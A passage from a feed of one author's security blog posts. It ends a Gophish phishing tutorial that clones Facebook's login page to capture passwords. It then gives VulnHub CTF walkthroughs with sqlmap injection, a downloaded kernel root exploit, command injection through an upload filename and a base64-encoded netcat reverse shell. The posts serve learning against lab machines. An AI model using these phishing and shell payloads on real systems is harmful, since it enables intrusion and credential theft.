import.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*66FTkxX5wkV7N1x8Dp3dbQ.png" /></figure><p>Pasting <a href="https://www.facebook.com/">https://www.facebook.com/</a> into the import URL field gives us an exact copy of Facebook’s login page.</p><p>We can then check the ‘Capture Submitted Data’ and ‘Capture Passwords’ options. I should note here, that you should heed the warning here. If you are on a pen-testing assignment, it is probably enough to simply demonstrate to your client that their people fell for the phishing attempt, and you probably shouldn’t ‘Capture Passwords’ for legal reasons. That said, we are pretending to be hackers for this demo.</p><p>Finally, we will also set the redirect link. Since we are pretending to be Facebook’s privacy team and our call to action was ‘View Privacy Policy’, we will simply redirect the victim to Facebook’s actual privacy policy.</p><p>Click save and now we have our hook.</p><p><strong>Step 5 : Set Users &amp; Groups<br></strong>The last step before putting this all together and launching our Phishing campaign is to set our user group. This stage is the part where we basically decide where we are going to cast our bait.</p><p>Navigate to ‘Users &amp; Groups.’ Here we will create a group and add a few targets, using their names and email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xb53oerzUnkWAEE8CqYnw.png" /></figure><p>For demonstration purposes, I am adding two personal email accounts I have on different mail platforms. This will allow us to see how the email looks on both. One will be a gmail account and the other account is with gmx.com. I named the group ‘test me’ but you can name it what ever you wish and hit save.</p><p><strong>Step 6 : Launch a Campaign<br></strong>With our fishing hole picked out and all our bait and tackle ready to go, it is time to cast our rod and see what we can catch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9aoWTgN22qtSAwWPJyIOoA.jpeg" /></figure><p>Navigate to the ‘Campaigns’ section of gophish and click on the ‘New Campaign’ button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*57NyDdXRCPD-a4yS7QcA3g.png" /></figure><p>Here I named my Campaign, ‘My First Cast.’ Again, you can name it what ever your heart desires.</p><p>Using the drop down menus for ‘Email Template,’ ‘Landing Page,’ ‘Sending Profile’ and ‘Groups’ select all the elements we just created.</p><p>When we get to URL field you have a few options.</p><ol><li><strong>Local IP</strong><br>If your victims will be opening the email on the same computer or network that you are running gophish on, you can simply point to your local ip address on that network.</li><li><strong>Public IP<br></strong>If your victim is not on your network but you have access to the network’s router admin page, you can set up port forwarding to point your public IP to your local IP on port 80. Then you can provide your public IP as your URL. <em>Warning if you do this, make sure you turn it off when you are done, and keep in mind that you just exposed your public IP address.</em></li><li><strong>Tunneling<br></strong>Another option would be to use a tunneling service. There are bunch out there, and as mentioned earlier I use <a href="https://ngrok.com/">ngrok</a>. With ngrok I can simply run a single line terminal command and it will provide me with a temporary url that tunnels back to my local machine.</li></ol><blockquote>./ngrok http 80</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*w-_yuwS-2dC0Ki5LbKJuFw.png" /></figure><p>Once you have your URL and everything set, simply click ‘Launch Campaign.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*lA4YLNKP3TAoSdGkLubNrg.png" /></figure><p>That’s it! Now we just sit back and wait.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*QKx3nQh7zdQS-j8uQIh4LA.jpeg" /></figure><p>Your dashboard will update in almost real time, but if you are the impatient type, you can always hit refresh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcMRw5kFuZerncfFdymjWg.png" /></figure><h3>The Fish’s Point of View</h3><p>While we wait, lets examine our two victims’ inboxes and see how our bait looks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Al5tLyneL9BXrfhapDReTg.png" /><figcaption>gmail inbox</figcaption></figure><p>Above we are looking at the bait in a gmail inbox. It didn’t get flagged as spam so that’s good. It also looks pretty legitimate. I might fall for it, would you?</p><p>Now lets look at another provider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lvqqb2exer2eMpHvL_cHVA.png" /><figcaption>gmx inbox</figcaption></figure><p>Above is the view from a gmx.com inbox. Looks pretty good here too.</p><p>Great, but how about our landing page? What does it look like when the user clicks on any of the links in that email?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMx7b-7cW-LVSgZOADAkCQ.png" /></figure><p>That’s pretty convincing too. We could do things like make our landing page https and generate a more believable URL with some of ngrok’s paid features, but all and all, this looks pretty good. Some fish will certainly fall for this.</p><h3>Checking Our Line</h3><p>Let’s check on our dash board, shall we?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zRFixxtuBFntypR8y2R7A.png" /></figure><p>A quick glance of our dashboard reveals that of the 2 emails we sent, both were opened, and 1 clicked the link and even submitted data.</p><p>When we drill into the stats, we can look at the data that was collected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*6D-6JphKUU4__nnbmOsGuA.png" /></figure><p>It looks like bobby@bob.com has a password of ‘myperogative.’</p><p>We caught a fish!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*kYv_WOXavgWsWM2YLcHnSA.jpeg" /></figure><p><em>Gophish will also provide you with the ip address of everyone who opened your email, when you export the event data. You may also notice that it will even allow you to quickly replay the credentials that you just caught with a simple click. But remember, we are not here to be actual scammers. We are here to learn their tactics and protect others.</em></p><h3>The End</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3704cf995a9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking : Lord of The Root]]></title>
            <link>https://medium.com/@liddell.erik/hacking-lord-of-the-root-c9cc1fe19252?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9cc1fe19252</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[lord-of-the-rings]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Sun, 01 Sep 2019 17:14:19 GMT</pubDate>
            <atom:updated>2019-09-01T17:57:44.917Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking : Lord of The Root</h3><p><em>Another VulnHub Capture The Flag Walkthrough.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*FlUSof7mXNEELRcHrSM6Og.jpeg" /></figure><p><strong>Introduction</strong></p><p>This post is part of a series of stories documenting my journey as I attempt to solve various <em>Capture The Flag </em>style hacking challenges.</p><p>The stories in this series are not meant to be <em>“How To Hack This Box”</em> tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.</p><p>Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.</p><p>At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯</p><h3>Let’s get Started : My Setup</h3><p>The challenge we are looking at in this post is the <a href="https://www.vulnhub.com/entry/lord-of-the-root-101,129/"><strong>Lord Of The Root: 1.0.1</strong></a><strong> </strong>virtual machine found on <a href="https://www.vulnhub.com/?source=post_page---------------------------"><strong>VulnHub</strong></a>.</p><p>Locally I am running the <a href="https://www.kali.org/?source=post_page---------------------------"><strong>Kali Linux</strong></a> operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on <em>vmnet8</em> and has an IP range of <em>172.16.186.1–255.</em> Obviously your IP range may be different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*rGsP59WIZ58k00Z1vganVw.png" /></figure><h3>First Things First : Recon</h3><p>First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following <a href="https://nmap.org/?source=post_page---------------------------"><strong>nmap</strong></a> command.</p><blockquote><em>nmap -sS 172.16.186.1/24</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*vWoS4U7Vzm6J178bBRH6Lg.png" /></figure><p>Not much to go on here. We have our target at 172.16.186.208 with an open ssh port. I did fire up zenmap at this point to do a more thrurough scant of all tcp ports, but nothing but port 22 ssh open.</p><p>So we try just a plain ssh request to see bat kind of banner info we may get.</p><blockquote>ssh 173.16.186.208</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPfyuFfXCHAlBb7OXV4mlg.png" /></figure><p>Interesting, looks like we have our first hint. It suggests we have to knock before “entering” so to speak and something about it being easy as 1,2,3.</p><p>I wonder if we are talking about port knocking and maybe the 1,2,3 are referring to the port numbers? So I tried knocking on those three ports.</p><blockquote>nmap -Pn — host-timeout 100 — max-retries 0 -p 1 172.16.186.208<br>nmap -Pn — host-timeout 100 — max-retries 0 -p 2 172.16.186.208<br>nmap -Pn — host-timeout 100 — max-retries 0 -p 3172.16.186.208</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*N5Fof3uvh4RIlv31lhOQzg.png" /></figure><p>Then we tried ssh again, only to find the same banner, but maybe it triggered something. I spun up zenmap again, starting another scan of all TCP ports and waited in anticipation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*qITYngrNbwFnBafrt2LaEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*fnB4r3CqsEnFUI5Nefmtfw.png" /></figure><p>Nice! we found a new port, 1337 running an Apache web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*j0yIPc60Fr6vrB8G1RzvzQ.jpeg" /></figure><p>Typically I run nikto on the target here, but it didn’t reveal anything exciting so we went straight to our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*pJloHccLP_fOdnA1zVvrDA.png" /></figure><p>You do you girl! You bring that ring to Mordor!</p><p>Just a very simple page here. Nothing but what we see in the browser as far as looking at the source code. Just a simple image tag.</p><p>At this point, I thought about making a “Lord of The Rings”, wordlist using cewl or something and trying to brute-force some directories, but before we go to such lengths I decided to just try “mordor”</p><blockquote><a href="http://172.16.186.208:1337/mordor">http://172.16.186.208:1337/mordor</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*UIUX1jvDbusC_EcOzQKhzA.png" /></figure><p>It worked! Great, and what’s more, looking at the source code this time we have a little extra something.</p><pre>&lt;html&gt;<br>&lt;img src=&quot;/images/hipster.jpg&quot; align=&quot;middle&quot;&gt;<br>&lt;!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh&gt;<br>&lt;/html&gt;</pre><p>That looks a lot like a base64 encoded string and what do we do with such things? We decode them.</p><blockquote>echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*cCjXtmfCtXIvD0YOYm3wsw.png" /></figure><p>Ok again!</p><blockquote>echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*ciki7UVSzU5NWxOHF7u_Pg.png" /></figure><p>Well that looks like a promising end point to our target site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*Z3T9dhw2-FL4ujfJEQoNzw.png" /></figure><p>I quickly test this form with some dummy data. This reveals that the error messages won’t help us try to brute force usernames, so I fire up burp suite to capture a request and see what I can find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AWnNjtAXsFrCIoAypMOvnA.png" /></figure><p>So we have a typical post request with 3 params and a cookie, all of which could be potential sql-injection points. So I do what I always do.</p><p>I copy the whole request to a file called mordor.req and throw it at sqlmap.</p><blockquote>POST /978345210/index.php HTTP/1.1<br>Host: 172.16.186.208:1337<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Referer: <a href="http://172.16.186.208:1337/978345210/index.php">http://172.16.186.208:1337/978345210/index.php</a><br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 47<br>Cookie: PHPSESSID=vr1ot4ubvkt5d9cbadcf94rmc3<br>Connection: close<br>Upgrade-Insecure-Requests: 1</blockquote><blockquote>username=admin&amp;password=password&amp;submit=+Login+</blockquote><p>Because I think the cookie might also be an injection point, I up the level of attack with sqlmap to 3, which will test for time based and cookie injections as well.</p><blockquote>sqlmap -r mordor.req — dbs — level 3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YLvhoMxBD_WvLaPxjexjGQ.png" /></figure><p>Bam! Just like that we have found a SQL injection point in the username param.</p><blockquote>POST parameter ‘username’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n<br>sqlmap identified the following injection point(s) with a total of 723 HTTP(s) requests:<br> — -<br>Parameter: username (POST)<br> Type: time-based blind<br> Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br> Payload: username=admin’ AND (SELECT 8356 FROM (SELECT(SLEEP(5)))SOsK) — ghjf&amp;password=password&amp;submit= Login<br> — -</blockquote><p>We were also able to reveal the following DB names.</p><blockquote>available databases [4]:<br>[*] information_schema<br>[*] mysql<br>[*] performance_schema<br>[*] Webapp</blockquote><p>I decided to immediately enumerate the tables of the Webapp DB.</p><blockquote>sqlmap -r mordor.req — dbs — level 3 -D Webapp — tables</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AY1dJJ3_6ZkmRfsNGv3Pdg.png" /></figure><p>We found a table called Users, which is always a good sign so, we go on to dump that table.</p><blockquote>sqlmap -r mordor.req — dbs — level 3 -D Webapp -T Users — dump</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r_Mdql96I1ziUYeGvtRdxw.png" /></figure><p>Oh my goodness, so many user to choose from. We have almost the whole gang here. Of course we try them all in our web form and while they all appear to be valid credentials, they all just land us on the same page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TAtX7d-SG2e3Rhkr3KhjJw.png" /></figure><p>I decided to try these credentials via ssh, starting with legolas since he has waffles, and I like waffles very much.</p><p>None of them worked except smeagol.</p><blockquote>ssh smeagol@172.16.186.208</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3VBFgdQ5FJV2TDRDWQIl6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*T3lyI2OZy5Z6v8MSkLj_pw.jpeg" /></figure><h3>Game On! : Privilege Escalation</h3><p>I start off by trying to list our sudo privileges as smeagol.</p><blockquote>sudo -l</blockquote><blockquote>“Sorry, user smeagol may not run sudo on LordOfTheRoot.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QkoTat8bIlrUEOLClC7uAA.jpeg" /></figure><p>I then took a look at the passwd file to see what users we are dealing with.</p><blockquote>cat /etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*lWZAQB2y7KeqlomEez7JBQ.png" /></figure><p>Well this is good news. There doesn’t seem to be any real users except smeagol and root, which must mean we are close!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*oAfgykYThXU0P56lizGlOw.jpeg" /></figure><p>We continue with our normal privilege escalation recon, to see what suid programs there might be</p><blockquote>find / -perm -4000 -type f 2&gt;/dev/null</blockquote><p>But nothing seems to stand out. Let’s take another look at our kernal version.</p><blockquote>uname -al</blockquote><blockquote>Linux LordOfTheRoot 3.19.0–25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux</blockquote><p>If we look in the exploit DB that comes with Kali, we find a potential privilege escalation vulnerability in the kernel.</p><blockquote>searchsploit Ubuntu 14</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JIusSLRYSryzp880-A4z-A.png" /></figure><p>More information about the exploit as well as a convenient download link are available at <a href="https://www.exploit-db.com/exploits/39166">https://www.exploit-db.com/exploits/39166</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GihQYPVYQZo3AxASkhekjg.png" /></figure><p>Copying the download link we use wget on our victim’s machine to grab the exploit.</p><blockquote>wget <a href="https://www.exploit-db.com/download/39166">https://www.exploit-db.com/download/39166</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ua4ubxHeLrV34uf74eUNXA.png" /></figure><p>For whatever reason the exploit didn’t download with the proper extension so I renamed it to 39166.c and then used gcc to compile it and save it out as ‘privesc’</p><blockquote>gcc 39166.c -o privesc</blockquote><p>Then we merely run it.</p><blockquote>./privesc</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*2z99gPNsVRRMxgf29e1SYA.png" /></figure><p>We are root!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F_nA7dVcUs0U%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D_nA7dVcUs0U&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F_nA7dVcUs0U%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1cdc774d08e48c5134638d01efb176bd/href">https://medium.com/media/1cdc774d08e48c5134638d01efb176bd/href</a></iframe><p>Navigating over to the root directory we find some weird python script that indicates we might have bypassed some secret doors we were suppose to use to get root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*d2O7qc-k-o9lrebyr05WhA.png" /></figure><p>Does it really matter though? We are root!</p><blockquote>cat Flag.txt</blockquote><blockquote>“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”<br>– Gandalf</blockquote><h3>Game Over : Lord of The Ring</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FGLlpi-0_lB0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DGLlpi-0_lB0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FGLlpi-0_lB0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d3d8b1e71df2474d09d06ef67a4f67a9/href">https://medium.com/media/d3d8b1e71df2474d09d06ef67a4f67a9/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9cc1fe19252" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking : Tempus Fugit 1]]></title>
            <link>https://medium.com/@liddell.erik/hacking-tempus-fugit-1-6aa3c34eabe1?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6aa3c34eabe1</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Sat, 31 Aug 2019 16:34:41 GMT</pubDate>
            <atom:updated>2019-09-01T17:17:20.831Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking : Tempus Fugit 1</h3><p><em>Another VulnHub Capture The Flag Walkthrough.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aD6Zs0TF2GMX8eE83zqZWw.jpeg" /></figure><p><strong>Introduction</strong></p><p>This post is part of a series of stories documenting my journey as I attempt to solve various <em>Capture The Flag </em>style hacking challenges.</p><p>The stories in this series are not meant to be <em>“How To Hack This Box”</em> tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.</p><p>Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.</p><p>At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯</p><h3>Let’s get Started : My Setup</h3><p>The challenge we are looking at in this post is the <a href="https://www.vulnhub.com/entry/tempus-fugit-1,346/"><strong>Tempus Fugit 1</strong></a> virtual machine found on <a href="https://www.vulnhub.com/?source=post_page---------------------------"><strong>VulnHub</strong></a>.</p><p>Locally I am running the <a href="https://www.kali.org/?source=post_page---------------------------"><strong>Kali Linux</strong></a> operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on <em>vmnet8</em> and has an IP range of <em>172.16.186.1–255.</em> Obviously your IP range may be different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*URTUKpBxKXaaVwD_.png" /></figure><h3>First Things First : Recon</h3><p>First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following <a href="https://nmap.org/?source=post_page---------------------------"><strong>nmap</strong></a> command.</p><blockquote><em>nmap -sS 172.16.186.1/24</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVrpNdNEgStoj346_93Z8Q.png" /></figure><p>Ok, so this looks pretty straight forward. No plethora of rabbit holes to jump down, just one simple port 80 open on 172.16.186.196.</p><p>Because of the lack of ports and partly because of the description of this VM hinting at things like time and change,</p><blockquote>Tempus Fugit is a Latin phrase that roughly translated as “time flies”.</blockquote><blockquote>It is an intermediate real life box.</blockquote><blockquote>Created mostly by 4ndr34z with some assistance by DCAU, the idea behind Tempus Fugit was to create something “out of the ordinary” and without giving anything away, something “dynamic” and a lot like time… changing.</blockquote><p>I got a sneaky suspicion right off the bat that I should fire up wire shark and see if this box was doing any automated tasks on my network that might be atypical.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_4j2pkvYmkJJ3Y56FrPxg.png" /></figure><p>In fact, it was quite busy and a few things caught my eye. There were some MDNS requests, arp requests, and a call to <a href="http://moonunit.colliertech.org/">http://moonunit.colliertech.org/</a>.</p><p>This was odd, and I really didn’t quite know what to make of it all. So before I dove too deep I reached out to the author, @4nqr34z , on twitter with a few questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*wKbojQ38csLbt-_1Su12XA.png" /></figure><p>Ok, back to port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ftVdzPbRMJam0QfmGqA2nQ.png" /></figure><p>It looks quite tasty at first glance too. Maybe another WordPress site?</p><p>I immediately throw it at nikto to see what comes up.</p><blockquote>nikto -h 172.16.186.196</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gf5XCIuMdUTOv01tgLyB8Q.png" /></figure><p>Holy Output Batman!</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fut23WARAm7A%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dut23WARAm7A&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fut23WARAm7A%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1f7dce58bb4d0fa6866094bf870cc2be/href">https://medium.com/media/1f7dce58bb4d0fa6866094bf870cc2be/href</a></iframe><p>My terminal window exploded with “potential” vulnerabilities, all of which pretty much turned out to be false positives of the snarky variety.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*uaL8s8SRHcVOd-zMdFqbEw.png" /></figure><p>I said “pretty much” because I didn’t actually try them all. It seems very apparent that the author doesn’t expect us too either.</p><p>What’s more, I would bet this is his way of saying</p><p>“Don’t even try to automate this one kid!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*gNVALdynBgFte1ROUdmyTg.gif" /></figure><p>Ok, I get it. We are going to have to switch to manual labor, poking around with our mouse and keyboard the old fashion way.</p><p>Fine, we’ll cut the cord so to speak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*6Nm3VmJ-7LaBXCaxThl_7g.gif" /></figure><p>We find a contact form on the main page, but poking and prodding reveals nothing too crazy going on here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uSV4dgPvN4SyM0dtY-Rzhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*BaZhrDP3azLQlfBix-KjYg.png" /></figure><p>We also find a form that allows us to upload text files, though to where is a mystery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fw4B_dVjjQhmmroT-clVOA.png" /></figure><p>When you upload a text file the page displays the text of the file uploaded, so I immediately tried some script injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*-uKqcogJMwZrnFvNznBJRQ.png" /></figure><p>But long story short, nothing seemed to be working. So it was time to take a look at what was going in with Burp Interceptor.</p><p>If we couldn’t inject inside the text, maybe we could play with other parts of the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*KfvqZpt2ae94kjVjri25_g.png" /></figure><p>Like the filename!</p><p>I started by adding null characters and secondary file extensions and all sorts of other tricks.</p><p>I realized I could upload php scripts and the like, using filenames like:</p><blockquote>text.php%00.txt</blockquote><p>But that really wasn’t going to get me anywhere if I couldn’t access the script after it was up.</p><p>What if we try some remote code execution.</p><blockquote>filename=”text.txt;ls -al”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*I38CxkCMZkVfazFrNUe12A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQKjtWdLDVwMqmfEODsm2w.png" /></figure><p>Bingo! We have remote code execution. Sweet! If we view source it’s a little more readable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*64MreO0u-9fpM118d16Yng.png" /></figure><p>You’ll have to forgive me as with all my experimenting up to this point, I have apparently made a mess of the working directory, as I can see it is riddled with files I tried uploading like “poop” and “pop.sh” You shouldn’t see those on your machine.</p><p>But the important thing is we now have a valid attack vector in our sites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tUQEljG22SR4rOU7g_USZQ.png" /></figure><h3>Let’s Attack : Remote Code Execution</h3><p>At this point we want a shell and an R.C.E.vector should be ripe for just that.</p><p>Out of curiosity I through one more command at our vulnerable scrip.</p><blockquote>text.txt;whoami</blockquote><p>To my surprise it spit back root. This seems too good to be true.</p><p>We are going to attempt a good old fashion netcat reverse shell, by starting up a listener on port 7777 of our local machine.</p><blockquote>nc -lvp 7777</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*fMPQcpX4Vo20GFKNVw_S-w.png" /></figure><p>With that running in the background, we head back over to burp and see if we can’t get some netcat going.</p><blockquote>“text.txt;nc -e /bin/bash 172.16.186.1 7777”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*_m5BDJm9GibCsro9qwvrxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqE8S2DDDkptjOkRzmfnmg.png" /></figure><p>Ok that’s a little weird. We didn’t get a success message. Instead we got a file type error. Whats more when we check on our netcat listener, crickets!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*fMPQcpX4Vo20GFKNVw_S-w.png" /></figure><p>Hmm, my hunch was that the extra dots and spaces are messing it up. There is likely some kind of cleansing going on.</p><p>We are going to have to think a little out of the box here. I ponder it for a bit and come back with an idea. What if we can make our netcat command a base64 encode string and somehow pass that and have it decoded and piped to bash.</p><p>I quickly turn to burp’s decoder and base64 encode my netcat command like so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*scyYXhmPDnqo0hsG5OO8Bg.png" /></figure><p>With that base64 string I craft my payload.</p><blockquote>;echo bmMgLW52IDE3Mi4xNi4xODYuMSA3Nzc3IC1lIC9iaW4vc2g= | base64 -d | sh”</blockquote><p>And then we pass it along like so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6m54NhUUB-NHuuMIx-01rA.png" /></figure><p>And looking over at our listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*xoRTSymBijPK7T6hDoFyWQ.png" /></figure><p>We have a shell.</p><h3>That’s it? : We are root?</h3><p>Ok so we have a shell and we are root, so this should be it but I’m having a sick feeling that this is not over.</p><p>I quickly use python to get a proper shell</p><blockquote>python -c “import pty; pty.spawn(‘/bin/bash’)”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*rwFs2sA7UFwm10Q7NBYaCQ.png" /></figure><p>and then navigate over to our root directory to find our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*9XdhVSn_X8TP7r3Gy19ukw.png" /></figure><p>Well, kind of what we suspected. The “flag” is just a message verifying my gut, we are not done!</p><p>Well as root, we might as well take a look at the other users on the system and their encrypted password in the shadow file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*StZOZfnQIoTJqAIz8zmcDw.png" /></figure><p>Nothing there! Apparently root doesn’t even have a password.</p><p>I was a bit baffled here. The author had stated in the description that this was an unusual box.</p><blockquote>“the idea behind Tempus Fugit was to create something “out of the ordinary” and without giving anything away, something “dynamic” and a lot like time… 